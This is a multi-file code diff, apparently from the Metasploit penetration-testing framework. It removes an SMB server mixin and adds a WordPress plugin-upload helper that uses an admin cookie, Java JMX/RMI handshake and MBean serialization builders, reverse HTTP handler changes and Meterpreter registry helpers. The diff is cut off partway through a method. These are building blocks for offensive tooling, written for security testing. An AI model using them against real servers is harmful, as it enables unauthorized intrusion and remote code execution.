query_path_info = CONST::SMB_QUERY_FILE_STANDARD_INFO_HDR.make_struct
|
||||
query_path_info.v['AllocationSize'] = allocation_size
|
||||
query_path_info.v['EndOfFile'] = end_of_file
|
||||
query_path_info.v['NumberOfLinks'] = number_links
|
||||
query_path_info.v['DeletePending'] = delete_pending
|
||||
query_path_info.v['Directory'] = directory
|
||||
|
||||
send_trans2_res(c, trans2_params, query_path_info)
|
||||
end
|
||||
|
||||
# Builds and sends an TRANS2_QUERY_PATH_INFORMATION response with SMB_QUERY_FILE_NETWORK_INFO
|
||||
# information level.
|
||||
#
|
||||
# @param c [Socket] The client to answer.
|
||||
# @param opts [Hash{Symbol => <Fixnum, String>}] Response custom values.
|
||||
# @option opts [Fixnum] :allocation_size The number of bytes that are allocated to the file.
|
||||
# @option opts [Fixnum] :end_of_file The offset from the start to the end of the file.
|
||||
# @option opts [Fixnum] :file_attributes The file attributes.
|
||||
# @return [Fixnum] The number of bytes returned to the client as response.
|
||||
def send_info_network_res(c, opts= {})
|
||||
allocation_size = opts[:allocation_size] || 0
|
||||
end_of_file = opts[:end_of_file] || 0
|
||||
file_attributes = opts[:file_attributes] || 0
|
||||
|
||||
pkt = CONST::SMB_TRANS_RES_PKT.make_struct
|
||||
smb_set_defaults(c, pkt)
|
||||
|
||||
trans2_params = CONST::SMB_TRANS2_QUERY_PATH_INFORMATION_RES_PARAMETERS.make_struct
|
||||
trans2_params.v['EaErrorOffset'] = 0
|
||||
|
||||
query_path_info = CONST::SMB_QUERY_FILE_NETWORK_INFO_HDR.make_struct
|
||||
query_path_info.v['loCreationTime'] = lo
|
||||
query_path_info.v['hiCreationTime'] = hi
|
||||
query_path_info.v['loLastAccessTime'] = lo
|
||||
query_path_info.v['hiLastAccessTime'] = hi
|
||||
query_path_info.v['loLastWriteTime'] = lo
|
||||
query_path_info.v['hiLastWriteTime'] = hi
|
||||
query_path_info.v['loLastChangeTime'] = lo
|
||||
query_path_info.v['hiLastChangeTime'] = hi
|
||||
query_path_info.v['AllocationSize'] = allocation_size
|
||||
query_path_info.v['EndOfFile'] = end_of_file
|
||||
query_path_info.v['ExtFileAttributes'] = file_attributes
|
||||
|
||||
send_trans2_res(c, trans2_params, query_path_info)
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
|
@ -1,154 +0,0 @@
|
|||
# -*- coding: binary -*-
|
||||
|
||||
module Msf
|
||||
|
||||
###
|
||||
#
|
||||
# This mixin provides a minimal SMB server
|
||||
#
|
||||
###
|
||||
|
||||
module Exploit::Remote::SMBServer
|
||||
include Exploit::Remote::TcpServer
|
||||
include Exploit::NTLM
|
||||
CONST = ::Rex::Proto::SMB::Constants
|
||||
CRYPT = ::Rex::Proto::SMB::Crypt
|
||||
UTILS = ::Rex::Proto::SMB::Utils
|
||||
XCEPT = ::Rex::Proto::SMB::Exceptions
|
||||
EVADE = ::Rex::Proto::SMB::Evasions
|
||||
|
||||
def initialize(info = {})
|
||||
super
|
||||
|
||||
deregister_options('SSL', 'SSLCert')
|
||||
register_options(
|
||||
[
|
||||
OptPort.new('SRVPORT', [ true, "The local port to listen on.", 445 ])
|
||||
], self.class)
|
||||
end
|
||||
|
||||
def setup
|
||||
super
|
||||
@state = {}
|
||||
end
|
||||
|
||||
def on_client_connect(client)
|
||||
# print_status("New SMB connection from #{client.peerhost}:#{client.peerport}")
|
||||
smb_conn(client)
|
||||
end
|
||||
|
||||
def on_client_data(client)
|
||||
# print_status("New data from #{client.peerhost}:#{client.peerport}")
|
||||
smb_recv(client)
|
||||
true
|
||||
end
|
||||
|
||||
def on_client_close(client)
|
||||
smb_stop(client)
|
||||
end
|
||||
|
||||
def smb_conn(c)
|
||||
@state[c] = {:name => "#{c.peerhost}:#{c.peerport}", :ip => c.peerhost, :port => c.peerport}
|
||||
end
|
||||
|
||||
def smb_stop(c)
|
||||
@state.delete(c)
|
||||
end
|
||||
|
||||
def smb_recv(c)
|
||||
smb = @state[c]
|
||||
smb[:data] ||= ''
|
||||
smb[:data] << c.get_once
|
||||
|
||||
while(smb[:data].length > 0)
|
||||
|
||||
return if smb[:data].length < 4
|
||||
|
||||
plen = smb[:data][2,2].unpack('n')[0]
|
||||
|
||||
return if smb[:data].length < plen+4
|
||||
|
||||
buff = smb[:data].slice!(0, plen+4)
|
||||
|
||||
pkt_nbs = CONST::NBRAW_PKT.make_struct
|
||||
pkt_nbs.from_s(buff)
|
||||
|
||||
# print_status("NetBIOS request from #{smb[:name]} #{pkt_nbs.v['Type']} #{pkt_nbs.v['Flags']} #{buff.inspect}")
|
||||
|
||||
# Check for a NetBIOS name request
|
||||
if (pkt_nbs.v['Type'] == 0x81)
|
||||
# Accept any name they happen to send
|
||||
|
||||
host_dst = UTILS.nbname_decode(pkt_nbs.v['Payload'][1,32]).gsub(/[\x00\x20]+$/n, '')
|
||||
host_src = UTILS.nbname_decode(pkt_nbs.v['Payload'][35,32]).gsub(/[\x00\x20]+$/n, '')
|
||||
|
||||
smb[:nbdst] = host_dst
|
||||
smb[:nbsrc] = host_src
|
||||
|
||||
# print_status("NetBIOS session request from #{smb[:name]} (asking for #{host_dst} from #{host_src})")
|
||||
c.write("\x82\x00\x00\x00")
|
||||
next
|
||||
end
|
||||
|
||||
|
||||
#
|
||||
# TODO: Support AndX parameters
|
||||
#
|
||||
|
||||
|
||||
# Cast this to a generic SMB structure
|
||||
pkt = CONST::SMB_BASE_PKT.make_struct
|
||||
pkt.from_s(buff)
|
||||
|
||||
# Only response to requests, ignore server replies
|
||||
if (pkt['Payload']['SMB'].v['Flags1'] & 128 != 0)
|
||||
print_status("Ignoring server response from #{smb[:name]}")
|
||||
next
|
||||
end
|
||||
|
||||
cmd = pkt['Payload']['SMB'].v['Command']
|
||||
begin
|
||||
smb_cmd_dispatch(cmd, c, buff)
|
||||
rescue ::Interrupt
|
||||
raise $!
|
||||
rescue ::Exception => e
|
||||
print_status("Error processing request from #{smb[:name]} (#{cmd}): #{e.class} #{e} #{e.backtrace}")
|
||||
next
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
def smb_cmd_dispatch(cmd, c, buff)
|
||||
smb = @state[c]
|
||||
print_status("Received command #{cmd} from #{smb[:name]}")
|
||||
end
|
||||
|
||||
def smb_set_defaults(c, pkt)
|
||||
smb = @state[c]
|
||||
pkt['Payload']['SMB'].v['ProcessID'] = smb[:process_id].to_i
|
||||
pkt['Payload']['SMB'].v['UserID'] = smb[:user_id].to_i
|
||||
pkt['Payload']['SMB'].v['TreeID'] = smb[:tree_id].to_i
|
||||
pkt['Payload']['SMB'].v['MultiplexID'] = smb[:multiplex_id].to_i
|
||||
end
|
||||
|
||||
def smb_error(cmd, c, errorclass, esn = false)
|
||||
# 0xc0000022 = Deny
|
||||
# 0xc000006D = Logon_Failure
|
||||
# 0x00000000 = Ignore
|
||||
pkt = CONST::SMB_BASE_PKT.make_struct
|
||||
smb_set_defaults(c, pkt)
|
||||
pkt['Payload']['SMB'].v['Command'] = cmd
|
||||
pkt['Payload']['SMB'].v['Flags1'] = 0x88
|
||||
if esn
|
||||
pkt['Payload']['SMB'].v['Flags2'] = 0xc801
|
||||
else
|
||||
pkt['Payload']['SMB'].v['Flags2'] = 0xc001
|
||||
end
|
||||
pkt['Payload']['SMB'].v['ErrorClass'] = errorclass
|
||||
c.put(pkt.to_s)
|
||||
end
|
||||
|
||||
end
|
||||
|
||||
end
|
||||
|
|
@ -157,26 +157,15 @@ module ReverseHttp
|
|||
print_status("Started #{scheme.upcase} reverse handler on #{listener_uri}")
|
||||
end
|
||||
|
||||
#
|
||||
# Simply calls stop handler to ensure that things are cool.
|
||||
#
|
||||
def cleanup_handler
|
||||
stop_handler
|
||||
end
|
||||
|
||||
#
|
||||
# Basically does nothing. The service is already started and listening
|
||||
# during set up.
|
||||
#
|
||||
def start_handler
|
||||
end
|
||||
|
||||
#
|
||||
# Removes the / handler, possibly stopping the service if no sessions are
|
||||
# active on sub-urls.
|
||||
#
|
||||
def stop_handler
|
||||
self.service.remove_resource("/") if self.service
|
||||
if self.service
|
||||
self.service.remove_resource("/")
|
||||
Rex::ServiceManager.stop_service(self.service) if self.pending_connections == 0
|
||||
end
|
||||
end
|
||||
|
||||
attr_accessor :service # :nodoc:
|
||||
|
@ -228,6 +217,7 @@ protected
|
|||
:comm_timeout => datastore['SessionCommunicationTimeout'].to_i,
|
||||
:ssl => ssl?,
|
||||
})
|
||||
self.pending_connections += 1
|
||||
|
||||
when /^\/INITJM/
|
||||
conn_id = generate_uri_checksum(URI_CHECKSUM_CONN) + "_" + Rex::Text.rand_text_alphanumeric(16)
|
||||
|
|
|
@ -552,6 +552,8 @@ protected
|
|||
when ARCH_X64 then Metasm::X86_64.new
|
||||
when ARCH_PPC then Metasm::PowerPC.new
|
||||
when ARCH_ARMLE then Metasm::ARM.new
|
||||
when ARCH_MIPSLE then Metasm::MIPS.new(:little)
|
||||
when ARCH_MIPSBE then Metasm::MIPS.new(:big)
|
||||
else
|
||||
elog("Broken payload #{refname} has arch unsupported with assembly: #{module_info["Arch"].inspect}")
|
||||
elog("Call stack:\n#{caller.join("\n")}")
|
||||
|
|
|
@ -68,7 +68,7 @@ module LDAP
|
|||
0x02 => 'LDAP_PROTOCOL_ERROR',
|
||||
0x0a => 'LDAP_REFERRAL',
|
||||
0x61 => 'LDAP_REFERRAL_LIMIT_EXCEEDED',
|
||||
0x09 => 'LDAP_REFERRAL_V2',
|
||||
# 0x09 => 'LDAP_REFERRAL_V2', alias for LDAP_PARTIAL_RESULTS
|
||||
0x46 => 'LDAP_RESULTS_TOO_LARGE',
|
||||
0x51 => 'LDAP_SERVER_DOWN',
|
||||
0x04 => 'LDAP_SIZELIMIT_EXCEEDED',
|
||||
|
|
|
@ -439,12 +439,10 @@ protected
|
|||
subkeys = []
|
||||
root_key, base_key = session.sys.registry.splitkey(key)
|
||||
perms = meterpreter_registry_perms(KEY_READ, view)
|
||||
open_key = session.sys.registry.open_key(root_key, base_key, perms)
|
||||
keys = open_key.enum_key
|
||||
keys = session.sys.registry.enum_key_direct(root_key, base_key, perms)
|
||||
keys.each { |subkey|
|
||||
subkeys << subkey
|
||||
}
|
||||
open_key.close
|
||||
return subkeys
|
||||
rescue Rex::Post::Meterpreter::RequestError => e
|
||||
return nil
|
||||
|
@ -460,12 +458,10 @@ protected
|
|||
vals = {}
|
||||
root_key, base_key = session.sys.registry.splitkey(key)
|
||||
perms = meterpreter_registry_perms(KEY_READ, view)
|
||||
open_key = session.sys.registry.open_key(root_key, base_key, perms)
|
||||
vals = open_key.enum_value
|
||||
vals = session.sys.registry.enum_value_direct(root_key, base_key, perms)
|
||||
vals.each { |val|
|
||||
values << val.name
|
||||
}
|
||||
open_key.close
|
||||
return values
|
||||
rescue Rex::Post::Meterpreter::RequestError => e
|
||||
return nil
|
||||
|
@ -480,10 +476,8 @@ protected
|
|||
value = nil
|
||||
root_key, base_key = session.sys.registry.splitkey(key)
|
||||
perms = meterpreter_registry_perms(KEY_READ, view)
|
||||
open_key = session.sys.registry.open_key(root_key, base_key, perms)
|
||||
v = open_key.query_value(valname)
|
||||
v = session.sys.registry.query_value_direct(root_key, base_key, valname, perms)
|
||||
value = v.data
|
||||
open_key.close
|
||||
rescue Rex::Post::Meterpreter::RequestError => e
|
||||
return nil
|
||||
end
|
||||
|
@ -516,9 +510,8 @@ protected
|
|||
begin
|
||||
root_key, base_key = session.sys.registry.splitkey(key)
|
||||
perms = meterpreter_registry_perms(KEY_WRITE, view)
|
||||
open_key = session.sys.registry.open_key(root_key, base_key, perms)
|
||||
open_key.set_value(valname, session.sys.registry.type2str(type), data)
|
||||
open_key.close
|
||||
session.sys.registry.set_value_direct(root_key, base_key,
|
||||
valname, session.sys.registry.type2str(type), data, perms)
|
||||
return true
|
||||
rescue Rex::Post::Meterpreter::RequestError => e
|
||||
return nil
|
||||
|
|
|
@ -49,9 +49,6 @@ module UserProfiles
|
|||
#
|
||||
def parse_profile(hive)
|
||||
profile={}
|
||||
sidinf = resolve_sid(hive['SID'].to_s)
|
||||
profile['UserName'] = sidinf[:name]
|
||||
profile['Domain'] = sidinf[:domain]
|
||||
profile['SID'] = hive['SID']
|
||||
profile['ProfileDir'] = hive['PROF']
|
||||
profile['AppData'] = registry_getvaldata("#{hive['HKU']}\\Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\Shell Folders", 'AppData')
|
||||
|
@ -65,6 +62,12 @@ module UserProfiles
|
|||
profile['Temp'] = registry_getvaldata("#{hive['HKU']}\\Environment", 'TEMP').to_s.sub('%USERPROFILE%',profile['ProfileDir'])
|
||||
profile['Path'] = registry_getvaldata("#{hive['HKU']}\\Environment", 'PATH')
|
||||
|
||||
sidinf = resolve_sid(hive['SID'].to_s)
|
||||
if sidinf
|
||||
profile['UserName'] = sidinf[:name]
|
||||
profile['Domain'] = sidinf[:domain]
|
||||
end
|
||||
|
||||
return profile
|
||||
end
|
||||
|
||||
|
|
|
@ -55,7 +55,7 @@ private
|
|||
return hosts if opts[:addresses].class != Array
|
||||
conditions = {}
|
||||
conditions[:address] = opts[:addresses]
|
||||
hent = wspace.hosts.all(:conditions => conditions)
|
||||
hent = wspace.hosts.where(conditions)
|
||||
hosts |= hent if hent.class == Array
|
||||
end
|
||||
return hosts
|
||||
|
@ -73,7 +73,7 @@ private
|
|||
conditions = {}
|
||||
conditions[:port] = opts[:port] if opts[:port]
|
||||
conditions[:proto] = opts[:proto] if opts[:proto]
|
||||
sret = h.services.all(:conditions => conditions)
|
||||
sret = h.services.where(conditions)
|
||||
next if sret == nil
|
||||
services |= sret if sret.class == Array
|
||||
services << sret if sret.class == ::Mdm::Service
|
||||
|
@ -85,7 +85,7 @@ private
|
|||
conditions = {}
|
||||
conditions[:port] = opts[:port] if opts[:port]
|
||||
conditions[:proto] = opts[:proto] if opts[:proto]
|
||||
sret = wspace.services.all(:conditions => conditions)
|
||||
sret = wspace.services.where(conditions)
|
||||
services |= sret if sret.class == Array
|
||||
services << sret if sret.class == ::Mdm::Service
|
||||
end
|
||||
|
@ -189,8 +189,7 @@ public
|
|||
|
||||
ret = {}
|
||||
ret[:hosts] = []
|
||||
wspace.hosts.all(:conditions => conditions, :order => :address,
|
||||
:limit => limit, :offset => offset).each do |h|
|
||||
wspace.hosts.where(conditions).offset(offset).order(:address).limit(limit).each do |h|
|
||||
host = {}
|
||||
host[:created_at] = h.created_at.to_i
|
||||
host[:address] = h.address.to_s
|
||||
|
@ -226,8 +225,7 @@ public
|
|||
ret = {}
|
||||
ret[:services] = []
|
||||
|
||||
wspace.services.all(:include => :host, :conditions => conditions,
|
||||
:limit => limit, :offset => offset).each do |s|
|
||||
wspace.services.includes(:host).where(conditions).offset(offset).limit(limit).each do |s|
|
||||
service = {}
|
||||
host = s.host
|
||||
service[:host] = host.address || "unknown"
|
||||
|
@ -258,7 +256,7 @@ public
|
|||
|
||||
ret = {}
|
||||
ret[:vulns] = []
|
||||
wspace.vulns.all(:include => :service, :conditions => conditions, :limit => limit, :offset => offset).each do |v|
|
||||
wspace.vulns.includes(:service).where(conditions).offset(offset).limit(limit).each do |v|
|
||||
vuln = {}
|
||||
reflist = v.refs.map { |r| r.name }
|
||||
if(v.service)
|
||||
|
@ -423,7 +421,7 @@ public
|
|||
conditions[:proto] = opts[:proto] if opts[:proto]
|
||||
conditions[:port] = opts[:port] if opts[:port]
|
||||
conditions[:name] = opts[:names] if opts[:names]
|
||||
sret = wspace.services.all(:conditions => conditions, :order => "hosts.address, port")
|
||||
sret = wspace.services.where(conditions).order("hosts.address, port")
|
||||
else
|
||||
sret = host.services
|
||||
end
|
||||
|
@ -564,8 +562,7 @@ public
|
|||
|
||||
ret = {}
|
||||
ret[:notes] = []
|
||||
wspace.notes.all(:include => [:host, :service], :conditions => conditions,
|
||||
:limit => limit, :offset => offset).each do |n|
|
||||
wspace.notes.includes(:host, :service).where(conditions).offset(offset).limit(limit).each do |n|
|
||||
note = {}
|
||||
note[:time] = n.created_at.to_i
|
||||
note[:host] = ""
|
||||
|
@ -737,7 +734,7 @@ public
|
|||
elsif opts[:addresses]
|
||||
return { :result => 'failed' } if opts[:addresses].class != Array
|
||||
conditions = { :address => opts[:addresses] }
|
||||
hent = wspace.hosts.all(:conditions => conditions)
|
||||
hent = wspace.hosts.where(conditions)
|
||||
return { :result => 'failed' } if hent == nil
|
||||
hosts |= hent if hent.class == Array
|
||||
hosts << hent if hent.class == ::Mdm::Host
|
||||
|
@ -749,7 +746,7 @@ public
|
|||
conditions = {}
|
||||
conditions[:port] = opts[:port] if opts[:port]
|
||||
conditions[:proto] = opts[:proto] if opts[:proto]
|
||||
sret = h.services.all(:conditions => conditions)
|
||||
sret = h.services.where(conditions)
|
||||
next if sret == nil
|
||||
services << sret if sret.class == ::Mdm::Service
|
||||
services |= sret if sret.class == Array
|
||||
|
@ -761,7 +758,7 @@ public
|
|||
conditions = {}
|
||||
conditions[:port] = opts[:port] if opts[:port]
|
||||
conditions[:proto] = opts[:proto] if opts[:proto]
|
||||
sret = wspace.services.all(:conditions => conditions)
|
||||
sret = wspace.services.where(conditions)
|
||||
services << sret if sret and sret.class == ::Mdm::Service
|
||||
services |= sret if sret and sret.class == Array
|
||||
end
|
||||
|
@ -794,7 +791,7 @@ public
|
|||
elsif opts[:addresses]
|
||||
return { :result => 'failed' } if opts[:addresses].class != Array
|
||||
conditions = { :address => opts[:addresses] }
|
||||
hent = wspace.hosts.all(:conditions => conditions)
|
||||
hent = wspace.hosts.where(conditions)
|
||||
return { :result => 'failed' } if hent == nil
|
||||
hosts |= hent if hent.class == Array
|
||||
hosts << hent if hent.class == ::Mdm::Host
|
||||
|
@ -829,7 +826,7 @@ public
|
|||
ret = {}
|
||||
ret[:events] = []
|
||||
|
||||
wspace.events.all(:limit => limit, :offset => offset).each do |e|
|
||||
wspace.events.offset(offset).limit(limit).each do |e|
|
||||
event = {}
|
||||
event[:host] = e.host.address if(e.host)
|
||||
event[:created_at] = e.created_at.to_i
|
||||
|
@ -874,7 +871,7 @@ public
|
|||
|
||||
ret = {}
|
||||
ret[:loots] = []
|
||||
wspace.loots.all(:limit => limit, :offset => offset).each do |l|
|
||||
wspace.loots.offset(offset).limit(limit).each do |l|
|
||||
loot = {}
|
||||
loot[:host] = l.host.address if(l.host)
|
||||
loot[:service] = l.service.name || l.service.port if(l.service)
|
||||
|
@ -964,8 +961,7 @@ public
|
|||
ret = {}
|
||||
ret[:clients] = []
|
||||
|
||||
wspace.clients.all(:include => :host, :conditions => conditions,
|
||||
:limit => limit, :offset => offset).each do |c|
|
||||
wspace.clients.includes(:host).where(conditions).offset(offset).limit(limit).each do |c|
|
||||
client = {}
|
||||
client[:host] = c.host.address.to_s if c.host
|
||||
client[:ua_string] = c.ua_string
|
||||
|
@ -999,7 +995,7 @@ public
|
|||
conditions = {}
|
||||
conditions[:ua_name] = opts[:ua_name] if opts[:ua_name]
|
||||
conditions[:ua_ver] = opts[:ua_ver] if opts[:ua_ver]
|
||||
cret = h.clients.all(:conditions => conditions)
|
||||
cret = h.clients.where(conditions)
|
||||
else
|
||||
cret = h.clients
|
||||
end
|
||||
|
|
|
@ -4,6 +4,7 @@
|
|||
module Msf
|
||||
module HTTP
|
||||
module Wordpress
|
||||
require 'msf/http/wordpress/admin'
|
||||
require 'msf/http/wordpress/base'
|
||||
require 'msf/http/wordpress/helpers'
|
||||
require 'msf/http/wordpress/login'
|
||||
|
@ -14,6 +15,7 @@ module Msf
|
|||
require 'msf/http/wordpress/xml_rpc'
|
||||
|
||||
include Msf::Exploit::Remote::HttpClient
|
||||
include Msf::HTTP::Wordpress::Admin
|
||||
include Msf::HTTP::Wordpress::Base
|
||||
include Msf::HTTP::Wordpress::Helpers
|
||||
include Msf::HTTP::Wordpress::Login
|
||||
|
|
|
@ -0,0 +1,43 @@
|
|||
# -*- coding: binary -*-
|
||||
|
||||
module Msf::HTTP::Wordpress::Admin
|
||||
# Uploads a plugin using a valid admin session.
|
||||
#
|
||||
# @param name [String] The name of the plugin
|
||||
# @param zip [String] The plugin zip file as a string
|
||||
# @param cookie [String] A valid admin session cookie
|
||||
# @return [Boolean] true on success, false on error
|
||||
def wordpress_upload_plugin(name, zip, cookie)
|
||||
nonce = wordpress_helper_get_plugin_upload_nonce(cookie)
|
||||
if nonce.nil?
|
||||
vprint_error("#{peer} - Failed to acquire the plugin upload nonce")
|
||||
return false
|
||||
end
|
||||
vprint_status("#{peer} - Acquired a plugin upload nonce: #{nonce}")
|
||||
|
||||
referer_uri = normalize_uri(wordpress_url_backend, 'plugin-install.php?tab=upload')
|
||||
data = Rex::MIME::Message.new
|
||||
data.add_part(nonce, nil, nil, 'form-data; name="_wpnonce"')
|
||||
data.add_part(referer_uri, nil, nil, 'form-data; name="_wp_http_referer"')
|
||||
data.add_part(zip, 'application/octet-stream', 'binary', "form-data; name=\"pluginzip\"; filename=\"#{name}.zip\"")
|
||||
data.add_part('Install Now', nil, nil, 'form-data; name="install-plugin-submit"')
|
||||
|
||||
res = send_request_cgi(
|
||||
'method' => 'POST',
|
||||
'uri' => wordpress_url_admin_update,
|
||||
'ctype' => "multipart/form-data; boundary=#{data.bound}",
|
||||
'data' => data.to_s,
|
||||
'cookie' => cookie,
|
||||
'vars_get' => { 'action' => 'upload-plugin' }
|
||||
)
|
||||
|
||||
if res && res.code == 200
|
||||
vprint_status("#{peer} - Uploaded plugin #{name}")
|
||||
return true
|
||||
else
|
||||
vprint_error("#{peer} - Server responded with code #{res.code}") if res
|
||||
vprint_error("#{peer} - Failed to upload plugin #{name}")
|
||||
return false
|
||||
end
|
||||
end
|
||||
end
|
|
@ -119,4 +119,21 @@ module Msf::HTTP::Wordpress::Helpers
|
|||
path_from_uri(location)
|
||||
end
|
||||
|
||||
# Helper method to retrieve a valid plugin upload nonce.
|
||||
#
|
||||
# @param cookie [String] A valid admin session cookie
|
||||
# @return [String,nil] The nonce, nil on error
|
||||
def wordpress_helper_get_plugin_upload_nonce(cookie)
|
||||
uri = normalize_uri(wordpress_url_backend, 'plugin-install.php')
|
||||
options = {
|
||||
'method' => 'GET',
|
||||
'uri' => uri,
|
||||
'cookie' => cookie,
|
||||
'vars_get' => { 'tab' => 'upload' }
|
||||
}
|
||||
res = send_request_cgi(options)
|
||||
if res && res.code == 200
|
||||
return res.body.to_s[/id="_wpnonce" name="_wpnonce" value="([a-z0-9]+)"/i, 1]
|
||||
end
|
||||
end
|
||||
end
|
||||
|
|
|
@ -87,6 +87,12 @@ module Msf::HTTP::Wordpress::URIs
|
|||
normalize_uri(wordpress_url_backend, 'admin-post.php')
|
||||
end
|
||||
|
||||
# Returns the Wordpress Admin Update URL
|
||||
#
|
||||
# @return [String] Wordpress Admin Update URL
|
||||
def wordpress_url_admin_update
|
||||
normalize_uri(wordpress_url_backend, 'update.php')
|
||||
end
|
||||
|
||||
# Returns the Wordpress wp-content dir URL
|
||||
#
|
||||
|
|
|
@ -92,8 +92,17 @@ module Msf::HTTP::Wordpress::Version
|
|||
'uri' => readme_url,
|
||||
'method' => 'GET'
|
||||
)
|
||||
# no readme.txt present
|
||||
return Msf::Exploit::CheckCode::Unknown if res.nil? || res.code != 200
|
||||
|
||||
if res.nil? || res.code != 200
|
||||
readme_url = normalize_uri(target_uri.path, wp_content_dir, folder, name, 'Readme.txt')
|
||||
res = send_request_cgi(
|
||||
'uri' => readme_url,
|
||||
'method' => 'GET'
|
||||
)
|
||||
|
||||
# no Readme.txt present
|
||||
return Msf::Exploit::CheckCode::Unknown if res.nil? || res.code != 200
|
||||
end
|
||||
|
||||
# try to extract version from readme
|
||||
# Example line:
|
||||
|
|
|
@ -0,0 +1,39 @@
|
|||
# -*- coding: binary -*-
|
||||
|
||||
require 'rex/java/serialization'
|
||||
|
||||
module Msf
|
||||
module Java
|
||||
module Jmx
|
||||
require 'msf/java/jmx/util'
|
||||
require 'msf/java/jmx/discovery'
|
||||
require 'msf/java/jmx/handshake'
|
||||
require 'msf/java/jmx/mbean'
|
||||
|
||||
include Msf::Java::Jmx::Util
|
||||
include Msf::Java::Jmx::Discovery
|
||||
include Msf::Java::Jmx::Handshake
|
||||
include Msf::Java::Jmx::Mbean
|
||||
|
||||
def initialize(info = {})
|
||||
super
|
||||
|
||||
register_options(
|
||||
[
|
||||
Msf::OptString.new('JMX_ROLE', [false, 'The role to interact with an authenticated JMX endpoint']),
|
||||
Msf::OptString.new('JMX_PASSWORD', [false, 'The password to interact with an authenticated JMX endpoint'])
|
||||
], HTTP::Wordpress
|
||||
)
|
||||
end
|
||||
|
||||
def jmx_role
|
||||
datastore['JMX_ROLE']
|
||||
end
|
||||
|
||||
def jmx_password
|
||||
datastore['JMX_PASSWORD']
|
||||
end
|
||||
|
||||
end
|
||||
end
|
||||
end
|
|
@ -0,0 +1,29 @@
|
|||
# -*- coding: binary -*-
|
||||
|
||||
module Msf
|
||||
module Java
|
||||
module Jmx
|
||||
# This module provides methods which help to handle JMX end points discovery
|
||||
module Discovery
|
||||
# Builds a Rex::Java::Serialization::Model::Stream to discover
|
||||
# an JMX RMI endpoint
|
||||
#
|
||||
# @return [Rex::Java::Serialization::Model::Stream]
|
||||
def discovery_stream
|
||||
obj_id = "\x00" * 22 # Padding since there isn't an UnicastRef ObjId to use still
|
||||
|
||||
block_data = Rex::Java::Serialization::Model::BlockData.new(
|
||||
nil,
|
||||
"#{obj_id}\x00\x00\x00\x02\x44\x15\x4d\xc9\xd4\xe6\x3b\xdf"
|
||||
)
|
||||
|
||||
stream = Rex::Java::Serialization::Model::Stream.new
|
||||
stream.contents << block_data
|
||||
stream.contents << Rex::Java::Serialization::Model::Utf.new(nil, 'jmxrmi')
|
||||
|
||||
stream
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
|
@ -0,0 +1,56 @@
|
|||
# -*- coding: binary -*-
|
||||
|
||||
module Msf
|
||||
module Java
|
||||
module Jmx
|
||||
# This module provides methods which help to handle a JMX handshake
|
||||
module Handshake
|
||||
|
||||
# Builds a Rex::Java::Serialization::Model::Stream to make
|
||||
# a JMX handshake with an endpoint
|
||||
#
|
||||
# @param id [String] The endpoint UnicastRef ObjId
|
||||
# @return [Rex::Java::Serialization::Model::Stream]
|
||||
def handshake_stream(obj_id)
|
||||
block_data = Rex::Java::Serialization::Model::BlockData.new(nil, "#{obj_id}\xff\xff\xff\xff\xf0\xe0\x74\xea\xad\x0c\xae\xa8")
|
||||
|
||||
stream = Rex::Java::Serialization::Model::Stream.new
|
||||
stream.contents << block_data
|
||||
|
||||
if jmx_role
|
||||
username = jmx_role
|
||||
password = jmx_password || ''
|
||||
|
||||
stream.contents << auth_array_stream(username, password)
|
||||
else
|
||||
stream.contents << Rex::Java::Serialization::Model::NullReference.new
|
||||
end
|
||||
|
||||
stream
|
||||
end
|
||||
|
||||
# Builds a Rex::Java::Serialization::Model::NewArray with credentials
|
||||
# to make an authenticated handshake
|
||||
#
|
||||
# @param username [String] The username (role) to authenticate with
|
||||
# @param password [String] The password to authenticate with
|
||||
# @return [Rex::Java::Serialization::Model::NewArray]
|
||||
def auth_array_stream(username, password)
|
||||
builder = Rex::Java::Serialization::Builder.new
|
||||
|
||||
auth_array = builder.new_array(
|
||||
name: '[Ljava.lang.String;',
|
||||
serial: 0xadd256e7e91d7b47, # serialVersionUID
|
||||
values_type: 'java.lang.String;',
|
||||
values: [
|
||||
Rex::Java::Serialization::Model::Utf.new(nil, username),
|
||||
Rex::Java::Serialization::Model::Utf.new(nil, password)
|
||||
]
|
||||
)
|
||||
|
||||
auth_array
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
|
@ -0,0 +1,13 @@
|
|||
# -*- coding: binary -*-
|
||||
|
||||
module Msf
|
||||
module Java
|
||||
module Jmx
|
||||
module Mbean
|
||||
require 'msf/java/jmx/mbean/server_connection'
|
||||
|
||||
include Msf::Java::Jmx::Mbean::ServerConnection
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
|
@ -0,0 +1,155 @@
|
|||
# -*- coding: binary -*-
|
||||
|
||||
module Msf
|
||||
module Java
|
||||
module Jmx
|
||||
module Mbean
|
||||
# This module provides methods which help to handle with MBean related calls.
|
||||
# Specially, simulating calls with the Java javax.management.MBeanServerConnection
|
||||
# class
|
||||
module ServerConnection
|
||||
|
||||
# Builds a Rex::Java::Serialization::Model::Stream to simulate a call
|
||||
# to the createMBean method.
|
||||
#
|
||||
# @param opts [Hash{Symbol => String}]
|
||||
# @option opts [String] :obj_id the jmx endpoint ObjId
|
||||
# @option opts [String] :name the name of the MBean
|
||||
# @return [Rex::Java::Serialization::Model::Stream]
|
||||
def create_mbean_stream(opts = {})
|
||||
obj_id = opts[:obj_id] || "\x00" * 22
|
||||
name = opts[:name] || ''
|
||||
block_data = Rex::Java::Serialization::Model::BlockData.new(nil, "#{obj_id}\xff\xff\xff\xff\x22\xd7\xfd\x4a\x90\x6a\xc8\xe6")
|
||||
|
||||
stream = Rex::Java::Serialization::Model::Stream.new
|
||||
stream.contents << block_data
|
||||
stream.contents << Rex::Java::Serialization::Model::Utf.new(nil, name)
|
||||
stream.contents << Rex::Java::Serialization::Model::NullReference.new
|
||||
stream.contents << Rex::Java::Serialization::Model::NullReference.new
|
||||
|
||||
stream
|
||||
end
|
||||
|
||||
# Builds a Rex::Java::Serialization::Model::Stream to simulate a call to the
|
||||
# Java getObjectInstance method.
|
||||
#
|
||||
# @param opts [Hash{Symbol => String}]
|
||||
# @option opts [String] :obj_id the jmx endpoint ObjId
|
||||
# @option opts [String] :name the name of the MBean
|
||||
# @return [Rex::Java::Serialization::Model::Stream]
|
||||
def get_object_instance_stream(opts = {})
|
||||
